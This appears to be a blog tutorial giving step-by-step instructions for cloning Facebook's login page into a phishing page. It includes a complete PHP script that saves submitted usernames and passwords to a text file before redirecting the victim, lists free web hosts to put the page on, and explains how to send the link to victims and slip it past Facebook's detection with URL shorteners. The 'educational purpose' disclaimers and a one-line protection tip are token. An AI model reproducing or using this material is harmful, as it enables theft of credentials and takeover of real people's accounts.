Facebook Phishing Attack

NOTE: Hacking is a illegal activity so don't try on anyone. this tutorial is Only for educational purpose. If you want to use this tutorial for miscellaneous purpose please stop reading.

As we all want to hack facebook  account, and want to read all his personal things. Today i m gonna teach you how to hack a facebook account with a phishing page.

Now Start...

Step 1. Go to the Facebook page ,and then right click on the page, u will see the option view source page ,click on that.

Step 2. Now a new tab will open which contain a source code,Select all the stuff and paste it in a notepad.

Step 3. Now open the notepad and press CTRL+F,and type ACTION.   

Step 4. You will have to find a text which looks like ..
action=https://www.facebook.com/login.php?login_attempt=1

Step 5.Delete all the text written in red colour and instead of it write pass.php.then it will look like...
action="pass.php"

Step 6. Now save it on your desktop with the name index.htm,not index.html, remember.

Step 7. Now your phishing page is ready.it will look like a pic given below .

Step 8. Open a new notepad and save the given data with the name pass.php.

<?php

header ('Location:http://www.facebook.com/');

$handle = fopen("usernames.txt", "a");

foreach($_POST as $variable => $value) {

fwrite($handle, $variable);

fwrite($handle, "=");

fwrite($handle, $value);

fwrite($handle, "\r\n");

}

fwrite($handle, "\r\n");

fclose($handle);

exit;

?>
Note: I use pass.php in step 5 that's why we need to use same name in step 8

Step 9. You have two files now one is index.htm and another is pass.php, remember file extension is important.

Step 10. Now u have to upload it in a web hosting site,i prefer u to www.000webhost.com

Select any one free hosting
www.my3gb.com, www.000webhost.com, www.freewebhosting.com , www.xhosting.com, http://110mb.com, http://ripway.com , http://superfreehost.info ,http://freehostia.com http://freeweb7.com, http://t35.com ,http://awardspace.com, http://phpnet.us http://prohosts.org, http://www.freezoka.com/, http://atspace.com etc…..

Step 11. I prefer u to use 000webhost because it will be easy to use.

Step 12. You have to make a account in that ,after that it looks like a picture given below.

Step 13. Now go control panel ,(Go to cpanel) then file manager Open.  

Step 14. After that a new window will pop up. Now go to public_html.  

Step 15. Delete the file named default.php, after that upload two file index.htm and pass.php one by one.

Step 16. Now the last step click on view of index.htm it will look same as facebook page. 

Step 17. Copy the url of that page and send this link to your victim,when your victim try to login in to it with the username and password .the page redirectly connect to facebook. and you will be now able to see his password.

Step 18. Open your 000webhost account and go to file manager then public_html, here you find a new file named username.txt.

Step 19. Click on view now u will have your friend's password and email id.

Step 20. This is a simple trick to hack any Facebook password account by phishing page.

NOTE: Phishing is a illegal activity so don't try on anyone. This tutorial is for educational purpose. 

Not only Facebook u can make any phishing page of any website by following these steps.... u can hack Gmail,Yahoo,Orkut,Twitter and many more....

Warning :

you are not able to send your phishing link to friends in Facebook because Facebook detect it and give warning to delete that link.

if you want to send your link via Facebook or other social networking site then you need to use URL shortening I prefer to use www.tinyurl.com because it is easy to use and Facebook security not detect it easily.if tinyurl not allowed phishing link then try another websites. if you don't know how to short your link for Facebook follow bellow steps

• 1) first of all go to www.tinyurl.com

• 2) past your phishing URL in the box and hit make tiny URL button.

• 3) after that you get your short link simply send that link to your friends.
protect :

Always check the page URL before logging in. This is the most trusted and effective way one can use to avoid himself from phishing. Other way is to use some good Antivirus software which will warn you if you visit a harmful phishing page.

Even if somehow you have already entered your credentials in a phisher, Immediately Change your password.

Legal Disclaimer : This tutorial is completely for educational purpose only.For any misuse of this tutorial by any means the author will not be held responsible. 
 
If you have any queries Please comment my posts.